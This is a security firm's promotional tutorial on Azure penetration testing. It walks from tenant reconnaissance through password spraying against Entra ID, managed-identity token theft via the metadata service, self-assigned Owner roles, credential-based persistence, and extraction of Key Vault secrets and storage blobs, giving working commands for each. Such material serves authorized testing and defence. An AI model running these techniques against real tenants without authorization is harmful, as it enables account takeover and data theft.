Azure Pentesting Guide

Azure has become the backbone of enterprise infrastructure worldwide. Its sprawling ecosystem of identities, storage, compute, and managed services creates enormous value, but it also introduces an attack surface that most organizations have not fully mapped, let alone secured. This guide walks through the practical techniques security professionals and red teamers use to assess Azure environments, from initial reconnaissance through post-exploitation, complete with real commands you can run in a lab or authorized engagement.

If your organization needs a professional, structured assessment of your Azure posture, Redfox Cybersecurity's penetration testing services are built specifically for cloud-native and hybrid environments.

Why Azure Environments Are High-Value Targets

Azure hosts Active Directory integrations, sensitive data lakes, CI/CD pipelines, and privileged management APIs all under one tenant. A single misconfigured service principal or overly permissive storage account can expose an entire organization. Unlike traditional on-premises environments, Azure misconfigurations are often invisible to defenders who are not actively looking for them.

The most common attack paths in Azure include identity abuse through Entra ID (formerly Azure AD), storage account exposure, privilege escalation via role assignments, and lateral movement through managed identities.

Scoping and Rules of Engagement for Azure Pentests

Before any tool is run, proper scoping is critical. An Azure pentest engagement should define the tenant ID, subscription IDs in scope, service principals that can be tested, and whether social engineering or phishing simulations are included.

Ensure written authorization covers all actions. Cloud providers including Microsoft have specific terms around security testing, and exceeding scope in a cloud environment can have cascading consequences across shared infrastructure.

Redfox Cybersecurity conducts scoped Azure engagements that stay within defined boundaries while delivering maximum attack surface coverage.

Phase 1: Azure Reconnaissance

Enumerating the Tenant and Public Attack Surface

The first objective is mapping what is externally visible without any credentials. Several tools and techniques are valuable here.

AADInternals is one of the most capable toolkits for Azure and Entra ID reconnaissance. To retrieve tenant information from just a domain name, run:

Install-Module AADInternals
Import-Module AADInternals
Get-AADIntLoginInformation -UserName "user@targetdomain.com"

[cta]

This returns the tenant ID, authentication type, federated identity providers, and whether the tenant uses managed or federated authentication. This information is available unauthenticated and is often the first step in understanding the target's identity architecture.

To enumerate all domains registered to a tenant:

Get-AADIntTenantDomains -Domain "targetdomain.com"

[cta]

Discovering Exposed Azure Resources

Azure resources often expose public endpoints. Blob storage accounts are a frequent source of sensitive data exposure. Use tools like Microburst to enumerate storage accounts associated with a target organization:

powershell

Import-Module ./MicroBurst/MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base "targetcompanyname"

[cta]

This fuzzes common naming patterns and checks for publicly accessible containers. Exposed blob containers can contain backups, configuration files, access tokens, and more.

For DNS-based enumeration of Azure services tied to a domain:

python3 cloud_enum.py -k targetcompanyname --disable-gcp --disable-aws

[cta]

Phase 2: Initial Access and Credential Abuse

Password Spraying Against Entra ID

Password spraying is one of the most effective initial access techniques against Azure environments. Because Entra ID is internet-facing by default, it can be targeted without any prior foothold.

Using MSOLSpray:

powershell

Import-Module ./MSOLSpray/MSOLSpray.ps1
Invoke-MSOLSpray -UserList ./userlist.txt -Password "Winter2024!" -Verbose

[cta]

A well-curated user list combined with seasonally common passwords frequently yields valid credentials in organizations without MFA enforced across all accounts.

Always introduce delays between attempts to avoid triggering Smart Lockout:

Invoke-MSOLSpray -UserList ./userlist.txt -Password "Spring2024!" -Delay 30

[cta]

Abusing Service Principals and Application Credentials

Service principals are non-human identities used by applications and automation. They are frequently misconfigured with excessive permissions and static credentials that never rotate. If application registration credentials are leaked in a public GitHub repository or CI/CD pipeline, an attacker can authenticate directly:

az login --service-principal \
 --username <APP_ID> \
 --password <CLIENT_SECRET> \
 --tenant <TENANT_ID>

[cta]

Once authenticated as a service principal, enumerate what permissions it holds:

az role assignment list --assignee <APP_ID> --all

[cta]

This output often reveals overly broad roles such as Contributor or Owner applied at the subscription level, which translates directly to full control over cloud resources.

Extracting Tokens from Azure Metadata Service

On compromised Azure virtual machines or containers, the Instance Metadata Service (IMDS) can be queried to retrieve managed identity tokens without any credentials:

curl -H "Metadata: true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
 | python3 -m json.tool

[cta]

The access token returned can be used to authenticate to Azure Resource Manager and take actions based on the permissions assigned to the managed identity. This is one of the highest-impact techniques in cloud-native attack chains.

Phase 3: Enumeration Post-Authentication

Once valid credentials or a token are in hand, the focus shifts to mapping privileges and identifying escalation paths.

Enumerating Roles and Permissions

Using the Azure CLI:

az ad signed-in-user show
az role assignment list --all --output table
az group list --output table
az resource list --output table

[cta]

Using AzureHound for a comprehensive graph of the tenant:

./azurehound -u "user@targetdomain.com" -p "Password" list --tenant "targetdomain.com" -o output.json

[cta]

Import the resulting JSON into BloodHound with the AzureHound collector schema to visualize attack paths from any compromised identity to Global Administrator or Subscription Owner.

Identifying Privileged Roles in Entra ID

Get-AADIntAccessTokenForAADGraph -Credentials (Get-Credential) | Set-AADIntAccessToken
Get-AADIntGlobalAdmins

[cta]

Look particularly for accounts assigned Global Administrator, Privileged Role Administrator, or Application Administrator roles, as these provide pathways to tenant-wide control.

If you are assessing your own organization's exposure, Redfox Cybersecurity offers Azure-specific red team operations that map these privilege paths before real attackers do.

Phase 4: Privilege Escalation in Azure

Abusing Azure Role Assignments

If the compromised identity has the Microsoft.Authorization/roleAssignments/write permission, it can assign itself or another controlled identity a higher-privileged role:

az role assignment create \
 --assignee <CONTROLLED_USER_OR_SP> \
 --role "Owner" \
 --scope "/subscriptions/<SUBSCRIPTION_ID>"

[cta]

This single API call, if permitted, produces full subscription-level control.

Escalating Through Automation Accounts

Azure Automation accounts frequently run with high-privilege managed identities or stored credentials. If an attacker gains the ability to create or modify runbooks, they can execute arbitrary code in the context of those privileged identities:

Import-Module Az
$cred = Get-AutomationPSCredential -Name "AdminCreds"
Connect-AzAccount -Credential $cred
Get-AzRoleAssignment

[cta]

Automation accounts are often overlooked in security reviews and represent a reliable privilege escalation path in mature Azure environments.

Resetting Credentials for Application Registrations

If the compromised identity holds Application Administrator or Cloud Application Administrator, it can add credentials to any application registration and then authenticate as that service principal:

az ad app credential reset --id <APP_ID>

[cta]

This produces a new client secret, enabling authentication as the application and inheriting all of its role assignments.

Phase 5: Lateral Movement and Persistence

Moving Across Subscriptions via Management Groups

Large enterprise tenants organize subscriptions under management groups. A role assigned at the management group level propagates down to all child subscriptions. Discovering and exploiting this structure allows lateral movement across organizational boundaries:

az account management-group list
az role assignment list --scope "/providers/Microsoft.Management/managementGroups/<GROUP_ID>" --all

[cta]

Establishing Persistent Access

Persistence in Azure commonly takes the form of adding credentials to a service principal, creating new application registrations with long-lived secrets, or modifying conditional access policies to exclude controlled accounts.

Adding a certificate credential to a service principal for long-term persistence:

az ad sp credential reset \
 --id <SP_OBJECT_ID> \
 --cert "@certificate.pem" \
 --append

[cta]

Certificates are valid for up to two years and do not trigger the same alerts as password changes in many environments.

Phase 6: Post-Exploitation and Data Access

Accessing Key Vaults

Azure Key Vault stores secrets, certificates, and cryptographic keys. If the compromised identity has Key Vault access policies or RBAC assignments over a vault, its contents can be extracted:

az keyvault secret list --vault-name <VAULT_NAME>
az keyvault secret show --name <SECRET_NAME> --vault-name <VAULT_NAME>

[cta]

Key Vaults frequently contain database connection strings, API keys, and signing certificates that enable further lateral movement into downstream systems.

Extracting Data from Storage Accounts

With a compromised storage account key or a SAS token:

az storage blob list \
 --account-name <STORAGE_ACCOUNT> \
 --account-key <KEY> \
 --container-name <CONTAINER> \
 --output table

az storage blob download \
 --account-name <STORAGE_ACCOUNT> \
 --account-key <KEY> \
 --container-name <CONTAINER> \
 --name <BLOB_NAME> \
 --file ./output_file

[cta]

Storage accounts are one of the most data-rich targets in any Azure engagement and often contain backups, logs, and exported database files.

Defensive Recommendations and Remediation Priorities

A thorough pentest is only valuable if it produces actionable remediation guidance. The most impactful controls organizations can implement after an Azure assessment include enforcing MFA across all identities without exception, applying Privileged Identity Management (PIM) for just-in-time role activation, auditing service principal permissions and rotating all long-lived credentials, enabling Microsoft Defender for Cloud across all subscriptions, and restricting public access to storage accounts by default.

Implementing these controls significantly raises the cost of attack and reduces the blast radius of any compromised identity.

How Redfox Cybersecurity Approaches Azure Pentesting

Redfox Cybersecurity brings a structured, intelligence-driven methodology to Azure penetration testing. Engagements cover the full attack lifecycle from unauthenticated external reconnaissance through authenticated enumeration, privilege escalation, lateral movement, and data exfiltration simulation. Every finding is mapped to real-world impact and prioritized for remediation.

Whether you are preparing for a compliance audit, responding to an incident, or proactively hardening your cloud posture, Redfox Cybersecurity's penetration testing services deliver the depth and precision your Azure environment requires.

Wrapping Up

Azure environments are complex, and complexity breeds opportunity for attackers. The techniques outlined in this guide, from unauthenticated tenant enumeration to privilege escalation through automation accounts and lateral movement via management groups, represent the real methods adversaries use against production environments today.

Understanding these attack paths is the first step. Validating whether your environment is actually vulnerable to them requires an expert-led engagement with scope, methodology, and reporting that goes beyond automated scanning.

Partner with Redfox Cybersecurity to put your Azure defenses to the test before an adversary does.